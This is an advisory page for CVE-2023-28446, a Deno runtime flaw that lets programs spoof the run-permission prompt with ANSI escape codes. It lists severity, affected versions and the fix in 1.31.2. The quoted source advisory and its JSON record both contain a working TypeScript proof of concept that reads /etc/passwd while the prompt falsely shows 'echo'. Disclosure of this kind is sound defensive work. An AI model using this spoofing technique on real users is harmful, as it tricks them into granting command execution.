CVE-2023-28446: Deno runtime Interactive `run` Permission Prompt Spoofing Vulnerability

HIGH
Advisory Identifier: GHSA-vq67-rp93-65qf
CVSS 8.8
CWE-150
Published
Advisory Summary

CVE-2023-28446 is a HIGH (CVSS 8.8) interactive `run` permission prompt spoofing vulnerability (CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences) affecting Deno runtime libraries in the crates.io ecosystem. The issue involves interactive `run` permission prompt spoofing via improper ansi neutralization. Remediation is available by upgrading affected packages to version 1.31.2.

CVE-2023-28446 at a Glance

CVE Identifier CVE-2023-28446
GHSA Identifier GHSA-vq67-rp93-65qf
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences
Affected Product Deno runtime
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-28446

To remediate this vulnerability, upgrade all affected Deno runtime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

deno_runtime fixed: 1.31.2
Upgrade deno_runtime to 1.31.2
deno fixed: 1.31.2
Upgrade deno to 1.31.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for deno_runtime

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-28446, inspect your project dependencies for Deno runtime:

inspect dependencies for deno_runtime

Analyze the terminal output to locate any version of Deno runtime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.31.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences, where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component. In Deno runtime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. ### Details The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`. ### PoC This PoC works on 1.31.1, but modified versions of it work on older versions. Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt ```ts const boldANSI = "\u001b[1m" // bold const unboldANSI = "\u001b[22m" // unbold const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI} ├ Requested by \`Deno.Command().output()` const moveANSIUp = "\u001b[1A" // moves to the start of the line const clearANSI = "\u001b[2K" // clears the line const moveANSIStart = "\u001b[1000D" // moves to the start of the line Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({ cmd: "cat", args: ["/etc/passwd"], clearEnv: false, env: [], stdin: "null", stdout: "inherit", stderr: "piped" }, moveANSIUp + clearANSI + moveANSIStart + prompt) ``` Run the file with `deno run index.ts`. ### Impact Any Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed: ``` // Expected Prompt ┌ ⚠️ Deno requests run access to "cat" ├ Requested by `Deno.Command().output()` API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) > // Actual Prompt ┌ ⚠️ Deno requests run access to "echo" ├ Requested by `Deno.Command().output()` API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) > ``` This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). Before `v1.31.0`, this requires the `--unstable` flag.

CVE-2023-28446 Affected Deno runtime Versions

2 component(s)
Fixed Versions:
1.31.2
Product / Package Ecosystem Affected Versions Fixed Version
deno_runtime
crates.io
≥ 1.8.0
< 1.31.2
1.31.2
deno
crates.io
≥ 1.8.0
< 1.31.2
1.31.2

References

Frequently Asked Questions

What is CVE-2023-28446?
CVE-2023-28446 is a security vulnerability in Deno runtime involving Interactive `run` permission prompt spoofing via improper ANSI neutralization under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.
Which Deno runtime versions are affected?
Affected versions include releases prior to 1.31.2 across affected packages: deno_runtime, deno.
What version fixes CVE-2023-28446?
Upgrading to 1.31.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is deno_runtime affected?
Yes, deno_runtime is affected in releases prior to 1.31.2. Upgrade your dependency to 1.31.2 or later.
Is deno affected?
Yes, deno is affected in releases prior to 1.31.2. Upgrade your dependency to 1.31.2 or later.
What is the CVSS score of CVE-2023-28446?
CVE-2023-28446 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-28446?
CVE-2023-28446 is classified under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.).
How can I check crates.io dependencies for CVE-2023-28446?
Run the dependency tree command: 'inspect dependencies for deno_runtime'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vq67-rp93-65qf",
  "modified" : "2023-03-24T22:06:01Z",
  "published" : "2023-03-24T22:06:01Z",
  "aliases" : [ "CVE-2023-28446" ],
  "summary" : "Interactive `run` permission prompt spoofing via improper ANSI neutralization",
  "details" : "### Summary\nArbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.\n\n### Details\n\nThe main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.\n\n### PoC\n\nThis PoC works on 1.31.1, but modified versions of it work on older versions.\n\nMake a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt\n\n```ts\nconst boldANSI = \"\\u001b[1m\" // bold\nconst unboldANSI = \"\\u001b[22m\" // unbold\n\nconst prompt = `┌ ⚠️  ${boldANSI}Deno requests run access to \"echo\"${unboldANSI}\n├ Requested by \\`Deno.Command().output()`\n\nconst moveANSIUp = \"\\u001b[1A\" // moves to the start of the line\nconst clearANSI = \"\\u001b[2K\" // clears the line\nconst moveANSIStart = \"\\u001b[1000D\" // moves to the start of the line\n\nDeno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({\n    cmd: \"cat\",\n    args: [\"/etc/passwd\"],\n    clearEnv: false,\n    env: [],\n    stdin: \"null\",\n    stdout: \"inherit\",\n    stderr: \"piped\"\n}, moveANSIUp + clearANSI + moveANSIStart + prompt)\n```\n\nRun the file with `deno run index.ts`.\n\n### Impact\nAny Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:\n\n```\n// Expected Prompt\n┌ ⚠️  Deno requests run access to \"cat\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >\n\n// Actual Prompt\n┌ ⚠️  Deno requests run access to \"echo\"\n├ Requested by `Deno.Command().output()` API\n├ Run again with --allow-run to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >\n```\n\nThis works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.\n\nThis problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).\n\nBefore `v1.31.0`, this requires the `--unstable` flag. \n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno_runtime"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.8.0"
      }, {
        "fixed" : "1.31.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.8.0"
      }, {
        "fixed" : "1.31.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-vq67-rp93-65qf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-28446"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/releases/tag/v1.31.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-150" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-03-24T22:06:01Z",
    "nvd_published_at" : "2023-03-24T20:15:00Z"
  }
}